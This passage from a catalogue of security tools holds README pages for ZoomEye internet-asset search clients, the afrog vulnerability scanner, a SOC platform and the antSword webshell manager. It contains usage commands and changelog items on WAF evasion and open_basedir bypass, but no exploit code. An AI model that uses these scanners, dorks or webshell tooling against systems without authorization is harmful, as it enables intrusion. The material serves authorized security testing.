默认为第1页，按照更新时间排序。\n    -pagesize pagesize    每页查询数量，默认是10条，最大是10,000条/页。\n    -figure {pie,hist}    参数为数据图像化参数\n    -save                 将搜索结果保存到本地\n    -force                忽略本地缓存文件，直接从 ZoomEye 获取数据\n\n\n#### 4.数据聚合\n我们可以通过 `-facets`  进行数据的聚合统计，使用 `-facets` 可以查询该 dork 全量数据的聚合情况(由 `ZoomEye` 聚合统计后通过 `API` 获取)\n\n```\n$ zoomeye search \"telnet\" -facets product -pagesize 1\nip                            port                          domain                        update_time                   \n177.xxx.xx.142               2020                          [unknown]                     2025-02-06T15:59:49           \n\ntotal: 1/9976296\n ----------------------------------------\n ZoomEye total data:9976296\n -------------product Top 10-------------\n product                            count               \n MikroTik router config httpd       3326013             \n [unknown]                          2421245             \n Apache httpd                       2411293             \n ProFTPD                            285649              \n Pulse Secure VPN httpd             182296              \n Samsung printer telnetd            178147              \n Huawei telnetd                     144382              \n Huawei switch telnetd              120421              \n TP-LINK TL-WR841N WAP httpd        118836              \n DVR httpd                          100068 \n```\n\n\n#### 5.数据导出\n`-save` 参数可以对数据进行导出如下：\n\n```\n$ zoomeye search \"telnet\" -pagesize 1 -save\nsearch \"telnet\"  -pagesize 1 -save\nip                            port                          domain                        update_time                   \n88.xx.xxx.78                  3011                          [unknown]                     2025-02-06T16:00:53           \n\ntotal: 1/9976301\nsave file to telnet_1_1738829058.json successful!\n\n```\n\n\n#### 6. 数据图像化\n\n`-figure` 参数为数据图像化参数，该参数提供了 `pie(饼图)` 和  `hist(柱状图)` 两种展示方式，在没有进行指定依旧显示数据，在指定  `-figure` 时，需要和 `-facets` 一起使用。饼图如下：\n\n![](https://github.com/knownsec/ZoomEye-python/raw/master/images/pie.png)\n\n柱状图如下：\n\n![](https://github.com/knownsec/ZoomEye-python/raw/master/images/hist.png)\n\n\n#### 7.清理功能\n用户每天都会搜索大量的数据，这样就导致缓存文件夹所占的存储空间逐渐增大；如果用户在公共服务器上使用 `ZoomEye-python` 可能会导致自己的 `API KEY` 和 `ACCESS TOKEN` 泄漏。\n为此 `ZoomEye-python` 提供了清理命令 `zoomeye clear`，清理命令可以缓存数据和用户配置进行清空。使用方式如下：\n\n```\n$zoomeye clear -h\nusage: zoomeye clear [-h] [-setting] [-cache]\n\noptional arguments:\n  -h, --help  show this help message and exit\n  -setting    clear user api key and access token\n  -cache      clear local cache file\n```\n\n\n#### 12.缓存机制\n\n`ZoomEye-python` 在 `cli` 模式下提供了缓存机制，位于 `~/.config/zoomeye/cache` 下，尽可能的节约用户配额；用户查询过的数据集将在本地缓存 5 天，当用户查询相同的数据集时，不会消耗配额。\n\n\n### 0x04 使用SDK\n#### 1.初始化token\n同样，在 SDK 中仅支持通过 `APIKEY` 认证，如下：\n\n**APIKEY**\n\n```python\nfrom zoomeye.sdk import ZoomEye\nzm = ZoomEye(api_key=\"01234567-acbd-00000-1111-22222222222\")\n```\n\n#### 2.SDK API\n以下是 SDK 提供的接口以及说明：\n```\n1.userinfo()\n    获取当前用户信息\n\n2.search(dork, qbase64='', page=1, pagesize=20, sub_type='all', fields='', facets='')\n    根据查询条件获取网络资产信息。\n```\n\n\n#### 3.使用示例\n\n```python\n\nfrom zoomeye.sdk import ZoomEye\n>>> dir(ZoomEye)\n['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_check_header', '_request', 'search', 'userinfo']\n>>> zm = ZoomEye(api_key=\"01234567-acbd-00000-1111-22222222222\")\n>>> zm.search('country=cn')\n{'code': 60000, 'message': 'success', 'query': 'country=cn', 'total': 823268005, 'data': [{...}], 'facets': {}}\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-03-23 发布文章[《关于ZoomEye-python更新这件事》](https://paper.seebug.org/1522/)\n- 2021-01-20 发布文章[《ZoomEye-python 使用指南》](https://paper.seebug.org/1461/)\n\n## 最近更新\n\n#### [v3.0.0] - 2025-02-06\n\n**更新**  \n- 使用 zoomeye v2 api\n\n#### [v2.2.0] - 2023-04-12\n\n**更新**  \n- 移除用户名和密码的认证方式，仅支持 API- KEY 认证\n\n#### [v2.1.1] - 2021-12-14\n\n**更新**  \n- 支持到处 dot 语言脚本，生成域名 IP 指向图，命令行和 sdk 均支持  \n- 添加 domain 参数，支持域名查询功能(包括关联域名查询和子域名查询功能)  \n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ZoomEye-Tools.md",
    "content": "## Zoomeye-Tools <https://github.com/knownsec/Zoomeye-Tools>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-JS-blue)\n![Author](https://img.shields.io/badge/Author-Knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Zoomeye-Tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.3.2-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nZoomEye Tools provides a variety of functions to assist the use of Zoomeye, including a proview host and many other functions\n\nZoomEye Tools provides three major functions:\n1、Simple proview function.\nYou can get various information about the ip of the current webpage you visit through the browser plug-in. This is a simple and convenient way. If you want to view more information, you can refer to function 2.\n\n2、Detailed information function\nYou can click to view details and search for details of the current page URL in ZoomEye\n\n3、ZoomEye search function\nYou can quickly search the specified content in ZoomEye by selecting a piece of content, then clicking the right mouse button, and choosing to use ZoomEye to search.\n\nZoomEye Tools 提供三个主要功能：\n1、简单的proview功能。\n你可以通过浏览器插件获得你访问的当前网页所在ip的各种信息，这是一个简单便捷的方式，如果你想查看更多信息，可以参考功能2。\n\n2、详细信息功能\n你可以通过点击查看详情，在ZoomEye中搜索当前页面URL的详细信息\n\n3、ZoomEye搜索功能\n你可以通过选中一段内容，之后点击鼠标右键，选择使用ZoomEye搜索，即可快速在ZoomEye中查询指定内容。\n\n\nChrome网上应用商店：\n\n<https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj>\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.3.2] - 2021-12-01\n\n**Add**  \n- 右键查询功能，目前支持ZoomEye和VirusTotal  \n\n**Changed**  \n- ZoomEye preview  优化显示界面，取消登录限制  \n\n**Removed**  \n- ZoomEye minitools\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ZoomEye-go.md",
    "content": "## ZoomEye-go <https://github.com/gyyyy/ZoomEye-go>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-gyyyy-orange)\n![GitHub stars](https://img.shields.io/github/stars/gyyyy/ZoomEye-go.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n![Time](https://img.shields.io/badge/Join-20210223-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n## ZoomEye-go\n\n`ZoomEye` 是一款网络空间搜索引擎，用户可以使用浏览器方式 [搜索网络设备](https://www.zoomeye.org)。\n\n`ZoomEye-go` 是一款基于 `ZoomEye API` 开发的 Golang 库，提供了 `ZoomEye` 命令行模式，同时也可以作为 `SDK` 集成到其他工具中。该库可以让技术人员更便捷地**搜索**、**筛选**、**导出** `ZoomEye` 的数据。\n\n### 下载安装\n\n- 在 [Releases](https://github.com/gyyyy/ZoomEye-go/releases) 中获得已经编译好的二进制文件\n\n- 直接通过Github下载源代码，或运行 `go get` 进行下载安装：\n\n       go get -u github.com/gyyyy/ZoomEye-go\n\n   进入项目目录，执行 `make` 命令完成编译，编译好的二进制文件存放于 `bin` 目录下：\n\n       make [all/linux/macos/win64/win32]\n\n### 使用命令行模式\n\n#### 基础配置\n\n在 `ZoomEye-go` 二进制文件同目录下创建 `conf.yml` 文件，对配置变量进行自定义设置：\n\n```yaml\n# API-Key和JWT存放路径\nZOOMEYE_CONFIG_PATH: \"~/.config/zoomeye/setting\"\n\n# 搜索结果数据缓存路径\nZOOMEYE_CACHE_PATH: \"~/.config/zoomeye/cache\"\n\n# 搜索和过滤结果数据保存路径\nZOOMEYE_DATA_PATH: \"data\"\n\n# 本地数据超时时间，默认为5天\nEXPIRED_TIME: 432000\n```\n\n若不创建或修改配置文件，`ZoomEye-go` 相关文件路径和其他参数默认值都将与 [`conf_default.yml`](conf_default.yml) 描述一致。\n\n#### 初始化用户凭证\n\n首次使用 `ZoomEye-go` 时，需要通过 `init` 命令对用户凭证进行初始化，该凭证将自动作为之后其他 `ZoomEye API` 接口调用时的身份标识。`ZoomEye-go` 实现了 `ZoomEye API` 支持的两种认证方式：\n\n1. API-Key (推荐)\n\n       ./ZoomEye-go init -apikey [API-KEY]\n\n1. JWT\n\n       ./ZoomEye-go init -username [USERNAME] -password [PASSWORD]\n\n使用示例：\n\n```bash\n./ZoomEye-go init -apikey \"XXXXXXXX-XXXX-XXXXX-XXXX-XXXXXXXXXXX\"\nsucceed to initialize\n\n[ZoomEye Resources Info]\n\n  Role:  developer\n  Quota: 10000\n\n```\n\n推荐使用 `API-Key` 认证方式，用户可以登录 `ZoomEye` 在 [个人信息](https://www.zoomeye.org/profile) 中获取，**注意不要将其泄露给其他人**。`JWT` 认证方式获取的凭证具有时效性，失效后需要重新初始化才能正常使用，本地存储的旧的凭证数据会被覆盖。\n\n可以通过 `init -h` 获取帮助。\n\n#### 查询用户资源信息\n\n通过 `info` 命令可以查询 `ZoomEye` 当前用户个人信息以及数据配额，初始化成功后也会自动查询：\n\n```bash\n./ZoomEye-go info\nsucceed to query\n\n[ZoomEye Resources Info]\n\n  Role:  developer\n  Quota: 10000\n\n```\n\n#### 搜索\n\n搜索是 `ZoomEye-go` 最核心的功能，通过 `search` 命令指定搜索关键词进行使用，支持的参数说明如下：\n\n```text\n-num [NUM]           设置显示/搜索的数据条数，默认为 20（建议设置20的倍数，因为ZoomEye一次接口查询为20条）\n-type [host/web]     设置搜索资源类型，默认为 host（如：-type \"web\"）\n-force               强制调用 ZoomEye API 查询，忽略本地数据和缓存\n-count               查询该 dork 在 ZoomEye 数据库中的总量\n-facet [FIELD,...]   查询该 dork 在 ZoomEye 数据库中全量数据的分布情况，以逗号分隔（如：-facet \"app,service,os\"）\n-stat [FIELD,...]    统计本次搜索结果数据中指定字段的分布情况，以逗号分隔（如：-stat \"app,service,os\"）\n-figure [pie/hist]   输出统计数据的饼状图/柱状图（仅在指定了 -facet 或 -stat 参数下有效）\n-filter [FIELD,...]  对本次搜索结果数据中指定字段进行筛选，以逗号分隔（如：-filter \"app,ip,title\"）\n-save                保存本次搜索结果数据，若使用 filter 参数指定了筛选条件，筛选结果也会保存\n```\n\n根据搜索资源类型的不同（由参数 `-type` 确定），其他部分参数值范围存在差异，并且可能根据 `ZoomEye` 官方更新而改变：\n\n- `-facet` 与 `-stat` ，它们取值一样，只是统计的数据集范围不同\n    - 当 `-type` 为 `host` 时，可以使用 `app,device,service,os,port,country,city`\n    - 当 `-type` 为 `web` 时，可以使用 `webapp,component,framework,frontend,server,waf,os,country,city`\n- `-filter`\n    - 当 `-type` 为 `host` 时，可以使用 `app,version,device,ip,port,hostname,city,country,asn,banner,time,*`\n    - 当 `-type` 为 `web` 时，可以使用 `app,headers,keywords,title,ip,site,city,country,time,*`\n\n使用示例：\n\n```bash\n./ZoomEye-go search \"telnet\" -count\nsucceed to search (in 272.080753ms)\n\n[ZoomEye Total]\n\n  Count: 57003299\n\n\n./ZoomEye-go search \"telnet\" -num 1\nsucceed to search (in 370.930383ms)\n\n[Host Search Result]\n\n  +-----------------------+----------------------+----------------------+------------------------------------------+----------------------+\n  | Host                  | Application          | Service              | Banner                                   | Country              |\n  +-----------------------+----------------------+----------------------+------------------------------------------+----------------------+\n  | 159.203.16.45:10005   | Pocket CMD telnetd   | telnet               | \\xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfc\\'\\xf... | Canada               |\n  +-----------------------+----------------------+----------------------+------------------------------------------+----------------------+\n  | Total: 1                                                                                                                              |\n  +-----------------------+----------------------+----------------------+------------------------------------------+----------------------+\n\n\n./ZoomEye-go search \"weblogic\" -facet \"country\" -figure \"hist\"\nsucceed to search (in 177.088662ms)\n\n[ZoomEye Facets - HIST]\n\n  Type: country\n  \n  United States  [232751]  ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉\n          Japan  [ 45285]  ▉▉▉▉▉▉▉\n          China  [ 37926]  ▉▉▉▉▉▉\n        Bahrain  [ 28816]  ▉▉▉▉▌\n        Germany  [ 28001]  ▉▉▉▉▍\n   South Africa  [ 27929]  ▉▉▉▉▍\n         Sweden  [ 25679]  ▉▉▉▉\n         Brazil  [ 25655]  ▉▉▉▉\n          India  [ 25036]  ▉▉▉▉\n        Ireland  [ 24407]  ▉▉▉▊\n\n```\n\n可以通过 `search -h` 获取帮助。\n\n#### 缓存机制\n\n`ZoomEye-go` 参考官方 `ZoomEye-python` 的设计，在命令行模式下提供了相似的缓存机制，数据默认存储在 `~/.config/zoomeye/cache` 目录，尽可能节约用户配额。搜索过的数据将默认在本地缓存 5 天，在缓存数据有效期内，重复执行同条件搜索不会消耗配额。可以设置 `-force` 参数强制调用 `ZoomEye API` 进行搜索，结果会覆盖当前缓存数据。\n\n通过 `clear` 命令可以清空所有缓存数据和用户数据。\n\n#### 加载分析本地数据\n\n`ZoomEye-go` 也可以通过 `load` 命令加载本地数据文件，并将它解析成搜索结果数据类型，支持与 `search` 命令类似的 `-count` 、 `-facet` 、 `-stat` 、 `-figure` 和 `-filter` 参数对数据进行统计分析。不同的是，`-save` 参数仅会保存 `-filter` 的执行结果。\n\n可以通过 `load -h` 获取帮助。\n\n#### 设备历史数据搜索\n\n`ZoomEye-go`使用`history`命令根据指定的IP查询设备历史数据，支持的参数说明如下：\n\n```text\n-filter [FIELD,...]  对本次搜索结果数据中指定字段进行筛选，以逗号分隔（如：-filter \"time,app,service\"）\n-num [NUM]           设置显示的数据条数\n-force               强制调用 ZoomEye API 查询，忽略本地缓存\n```\n\n其中，`-filter`参数支持的取值范围有：`time,port,service,app,raw,*`\n\n使用示例：\n\n```bash\n./ZoomEye-go history \"1.2.3.4\" -filter \"time=^2016-,app,service\"\nsucceed to query (in 533.785779ms)\n\n[History Info]\n\n  1.2.3.4\n  \n  Hostname:          [unknown]\n  Country:           United States\n  City:              Mukilteo\n  Organization:      [unknown]\n  Last Updated:      2016-11-22T12:08:31\n  \n  Open Ports:        1\n  Historical Probes: 1\n\n\n[History Result]\n\n  +---------------------+---------------------------+---------------------------+\n  | Time                | Service                   | App                       |\n  +---------------------+---------------------------+---------------------------+\n  | 2016-11-22T12:08:31 | ssh                       | OpenSSH                   |\n  +---------------------+---------------------------+---------------------------+\n  | Total: 1                                                                    |\n  +---------------------+---------------------------+---------------------------+\n\n```\n\n### 使用SDK API\n\n使用示例：\n\n```go\npackage main\n\nimport (\n\t\"github.com/gyyyy/ZoomEye-go/zoomeye\"\n)\n\nfunc main() {\n\t// 初始化用户凭证\n\tzoom := zoomeye.New()\n\tjwt, _ := zoom.Login(\"username@zoomeye.org\", \"password\")\n\t// 或使用 API-Key 进行初始化，不需要再调用 Login() 方法\n\t// zoom := zoomeye.NewWithKey(\"XXXXXXXX-XXXX-XXXXX-XXXX-XXXXXXXXXXX\")\n\n\t// 查询用户资源信息\n\tinfo, _ := zoom.ResourcesInfo()\n\n\t// 搜索\n\tresult, _ := zoom.DorkSearch(\"port:80 nginx\", 1, \"host\", \"app,service,os\")\n\t// 多页搜索，5页（100条）以上会进行并发搜索，减少搜索耗时\n  // results, _ := zoom.MultiPageSearch(\"wordpress country:cn\", 5, \"web\", \"webapp,server,os\")\n  // 多页搜索（结果合并）\n\t// result, _ := zoom.MultiToOneSearch(\"wordpress country:cn\", 5, \"web\", \"webapp,server,os\")\n\n\t// 对搜索结果进行统计\n\tstat := result.Statistics(\"app,service,os\")\n\n\t// 对搜索结果进行筛选\n\tfilt := result.Filter(\"app,ip,title\")\n\n\t// 设备历史搜索（需要高级用户或VIP用户权限，结果包含多少条记录就会扣多少额度，非土豪慎用）\n\thistory, _ := zoom.HistoryIP(\"1.2.3.4\")\n  // 对搜索结果进行筛选\n  histFilt := history.Filter(\"time=^2016\", \"app\")\n}\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/afrog.md",
    "content": "## afrog <https://github.com/zan8in/afrog>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-zan8in-orange)\n![GitHub stars](https://img.shields.io/github/stars/zan8in/afrog.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.3.9-red)\n![Time](https://img.shields.io/badge/Join-20220615-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## What is afrog\n\nafrog is a high-performance vulnerability scanner that is fast and stable. It supports user-defined PoC and comes with several built-in types, such as CVE, CNVD, default passwords, information disclosure, fingerprint identification, unauthorized access, arbitrary file reading, and command execution. With afrog, network security professionals can quickly validate and remediate vulnerabilities, which helps to enhance their security defense capabilities.\n\n## Features\n\n* [x] Open source\n* [x] Fast, stable, with low false positives\n* [x] Detailed HTML vulnerability reports\n* [x] Customizable and stably updatable PoCs\n* [x] Active community exchange group\n\n## Installation\n\n### Prerequisites\n\n- [Go](https://go.dev/) version 1.19 or higher.\n\nyou can install it with:\n\n**Binary**\n```sh\n$ https://github.com/zan8in/afrog/releases\n```\n\n**Github**\n```sh\n$ git clone https://github.com/zan8in/afrog.git\n$ cd afrog\n$ go build cmd/afrog/main.go\n$ ./afrog -h\n```\n\n**Go**\n```sh\n$ go install -v https://github.com/zan8in/afrog/cmd/afrog@latest\n```\n\n## Running afrog\n\nBy default, afrog scans all built-in PoCs, and if it finds any vulnerabilities, it automatically creates an HTML report with the date of the scan as the filename.\n\n```sh\nafrog -t https://example.com\n```\n\n**Warning occurs when running afrog**\n\nIf you see an error message saying:\n```\n[ERR] ceye reverse service not set: /home/afrog/.config/afrog/afrog-config.yaml\n```\nit means you need to modify the [configuration file](#configuration-file).\n\nTo execute a custom PoC directory, you can use the following command:\n\n```sh\nafrog -t https://example.com -P mypocs/\n```\n\nUse the command `-s keyword` to perform a fuzzy search on all PoCs and scan the search results. Multiple keywords can be used, separated by commas. For example: `-s weblogic,jboss`.\n\n```sh\nafrog -t https://example.com -s weblogic,jboss\n```\n\nUse the command `-S keyword` to scan vulnerabilities based on their severity level. Severity levels include: `info`, `low`, `medium`, `high`, and `critical`. For example, to only scan high and critical vulnerabilities, use the command `-S high,critical`.\n\n```sh\nafrog -t https://example.com -S high,critical\n```\n\nYou can scan multiple URLs at the same time as well.\n\n```sh\nafrog -T urls.txt\n```\n\n## Configuration file\n\nThe first time you start afrog, it will automatically create a configuration file called `afrog-config.yaml`, which will be saved in the current user directory under `$HOME/.config/afrog/afrog-config.yaml`.\n\nHere is an example config file:\n\n```yaml\nreverse:\n  ceye:\n    api-key: \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n    domain: \"xxxxxx.ceye.io\"\n```\n\n`reverse` is a reverse connection platform used to verify command execution vulnerabilities that cannot be echoed back. Currently, only ceye can be used for verification. To obtain ceye, follow these steps:\n\n- Go to the [ceye.io](http://ceye.io/) website and register an account.\n- Log in and go to the personal settings page.\n- Copy the `domain` and `api-key` and correctly configure them in the `afrog-config.yaml` file.\n\n\n## Json Output (For developers)\n\n### Json\nOptional command: `-json` `-j`, Save the scan results to a JSON file. The JSON file includes the following contents by default: `target`, `fulltarget`, `id`, and `info`. The info field includes the following sub-fields: `name`, `author`, `severity`, `description`, and `reference`. If you want to save both `request` and `response` contents, please use the [-json-all](#jsonall) command parameter.\n\n```sh\nafrog  -t https://example.com -json result.json\nafrog  -t https://example.com -j result.json\n```\n\n::: warning\nThe content of the JSON file is updated in real time. However, there is an important note to keep in mind: before the scan is completed, if developers want to parse the file content, they need to add a '`]`' symbol to the end of the file by themselves, otherwise it will cause parsing errors. Of course, if you wait for the scan to complete before parsing the file, this issue will not occur.\n:::\n\n\n### JsonAll\n\nOptional command: `-json-all` `-ja`, The only difference between the `-json-all` and `-json` commands is that `-json-all` writes all vulnerability results, including `request` and `response`, to a JSON file.\n\n```sh\nafrog -t https://example.com -json-all result.json\nafrog -t https://example.com -ja result.json\n```\n\n\n## Screenshot\n\n![](https://github.com/zan8in/afrog/blob/main/images/1.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2023-07-10 发布视频[《404星链计划-afrog：快速稳定的漏洞扫描工具》](https://www.bilibili.com/video/BV1Pz4y177PU/)\n\n## 最近更新\n\n#### [v3.3.9] - 2026-02-25\n\n**OOB核心升级** \n - 更简洁的 PoC 语法 \n - 更稳健的底层逻辑 \n - 证据可追溯  \n - 老 PoC 一键迁移 \n\n\n#### [v3.2.8] - 2025-12-29\n\n**新增** \n - brute 暴力扫描模式 \n - 按目标限速（--req-limit-per-target）\n - 实时状态监控（--live-stats）\n ** 优化**\n - Go PoC HTTP请求统一化\n - Shiro-key 支持回归 \n - Backup-files 支持回归\n \n\n#### [v3.2.5] - 2025-11-20\n\n**修复紧急 bug** \n - 多个协程同时修改共享map数据，导致数据混乱，程序崩溃。 \n\n\n#### [v3.2.2] - 2025-10-10\n\n**PoC 管理与扫描优化** \n**安全可靠的登录机制**\n\n\n#### [v3.1.8] - 2025-07-22\n\n**新增**  \n- length 函数，计算字符串或字符数组的长度  \n**更新**  \n- 指定常用 CipherSuites，兼容老加密套件\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/agentic-soc-platform.md",
    "content": "## agentic-soc-platform.json <https://github.com/FunnyWolf/agentic-soc-platform>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-FunnyWolf-orange)\n![GitHub stars](https://img.shields.io/github/stars/FunnyWolf/agentic-soc-platform.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.2.0-red)\n![Time](https://img.shields.io/badge/Join-20251205-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nREADME\n\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.2.0] - 2026-01-28\n\n** 新功能亮点 **\n -Case 基于 OCSF Incident Finding 标准进行重构，提供统一的事件调查和响应数据结构。\n- Alert 基于 OCSF Detection Finding 标准进行重构，提供统一的告警数据结构。\n- 新增 Enrichment 和 Ticket 模块，分别用于存储丰富化数据和外部工单数据。\n\n#### [v0.1.0] - 2025-12-03\n\n** 核心框架 (Core Framework) **\n - 🚀 告警流水线: 全新的告警转发与流式处理框架已准备就绪。现在您可以轻松集成 SIEM 的 Webhook，并模块化地构建 AI 告警分析与响应流水线。\n -🤖 剧本编排引擎: 初步的剧本引擎已上线，支持对 AI 智能体进行复杂的编排与执行，为自动化响应提供了无限可能。\n -🎯 内置威胁狩猎智能体: 我们在剧本中内置了强大的威胁狩猎智能体，能够适应并处理所有类型的威胁狩猎场景。\n ** SIRP 平台 **\n - 🛠️ 功能完备的 SIRP: 内置的 SIRP (Security Incident Response Platform) 平台基础功能已全面完成，提供了现代化的案件管理与响应界面。 \n- 🔗 自动化深度集成: 实现了基于 Playbook 的 UI 接口，将 ASP 强大的自动化编排（SOA）能力与 SIRP 的用户界面无缝结合。\n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/antSword.md",
    "content": "## antSword <https://github.com/AntSwordProject/antSword>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Nodejs-blue)\n![Author](https://img.shields.io/badge/Author-AntSwordProject-orange)\n![GitHub stars](https://img.shields.io/github/stars/AntSwordProject/antSword.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.15-red)\n![Time](https://img.shields.io/badge/Join-20201120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n> 一剑在手，纵横无忧！\n\n**中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。**    \n**任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担并将追究其相关责任！**\n\n[English][url-docen] / [文档][url-document] / [更新日志][url-changelog]\n\n## 开发栈\n - [Electron][url-electron]\n - [ES6][url-es6]\n - [dhtmlx][url-dhtmlx]\n - [Nodejs][url-nodejs]\n * 以及其他在项目中调用到的库\n\n中国蚁剑推崇模块化的开发思想，遵循**开源，就要开得漂亮**的原则，致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明，努力让大家可以一起为这个项目贡献出力所能及的点滴，让这款工具真正能让大家用得顺心、舒适，让它能为大家施展出最人性化最适合你的能力！\n\n## 软件截图\n\n![][url-mainui]\n\n<details>\n\n<summary>更多截图</summary>\n\n![][url-filemanager]\n![][url-terminal]\n![][url-database]\n![][url-pluginstore]\n\n</details>\n\n## 快速入门\n\n参见文档 [快速入门][url-quickstart]\n\n## 如何贡献\n\n参见文档 [支持蚁剑][url-contribute]\n\n## 致敬感谢\n> 中国蚁剑的核心代码模板均改自伟大的**中国菜刀**，在此向作者感谢以及致敬！致敬每一位为网络安全做出点滴贡献的新老前辈！\n\n**一路走来，得到了很多朋友的参与开发以及点滴赞助，在此感谢陪伴，感谢你们能让它越走越远！**\n\n[url-docen]: https://github.com/AntSwordProject/antSword/blob/master/README.md\n[url-changelog]: https://github.com/AntSwordProject/antSword/blob/master/CHANGELOG.md\n[url-document]: https://www.yuque.com/antswordproject/antsword/\n[url-release]: https://github.com/AntSwordProject/AntSword/releases/\n[url-electron]: http://electron.atom.io/\n[url-es6]: http://es6.ruanyifeng.com/\n[url-dhtmlx]: http://dhtmlx.com/\n[url-nodejs]: https://nodejs.org/\n[url-homepage]: http://uyu.us\n[url-release]: https://github.com/AntSwordProject/AntSword/releases\n[url-quickstart]: https://www.yuque.com/antswordproject/antsword/lmwppk\n[url-contribute]: https://doc.u0u.us/zh-hans/contribute_docs.html\n[url-mainui]: https://cdn.nlark.com/yuque/0/2021/png/1592179/1611820109032-b563426e-015c-4afe-a905-70e878fdcdb6.png\n[url-filemanager]: https://cdn.nlark.com/yuque/0/2021/png/1592179/1611823243564-26e964c2-6d38-421a-8543-5f1f082a6bbd.png\n[url-terminal]: https://cdn.nlark.com/yuque/0/2021/png/1592179/1611823538382-50fba630-3bd9-4205-b5dd-9cc054da79a8.png\n[url-database]: https://cdn.nlark.com/yuque/0/2021/png/1592179/1611825612518-ca1c4fcc-98a6-4fa3-b55d-f25619c86380.png\n[url-pluginstore]: https://cdn.nlark.com/yuque/0/2021/png/1592179/1611907520850-040bffb1-5bc3-4c1c-a8d1-1e69712f7684.png\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-10-12 发布演示视频[404星链计划开源安全工具演示——antSword](https://www.bilibili.com/video/BV1Jg411h7Pj/)\n- 2022-07-18 发布文章[《AntSword v2.1.15 更新汇总》](https://mp.weixin.qq.com/s/QzbREMp8JaQiP9qo48OyHg)\n- 2021-11-15 发布文章[《蚁剑绕WAF进化图鉴》](https://mp.weixin.qq.com/s/EYP1ANj7pxM8_NX_7R9WjA)\n\n## 最近更新\n\n#### [v2.1.15] - 2022-07-17\n\n**核心**  \n- 修复 PHP/PHP4 当前目录不可写时 bypass open_basedir 失败的 Bug  \n- 新增 PHPRAW/ASPXCSharp/PSWindows 类型  \n\n**数据管理**  \n- 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug  \n- 新增配置选项「Body 设置为 RAW 模式」  \n\n**文件管理**  \n- 新增 FileHash 计算目标文件 hash 功能  \n\n**后端模块**  \n- 支持自定义 Content-Type, 默认是 form  \n- 支持 WebSocket 连接  \n\n**设置模块**  \n- 优化全局代理设置  \n\n**其他**  \n- 更多详细更新内容，见 release v2.1.15  \n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/appshark.md",
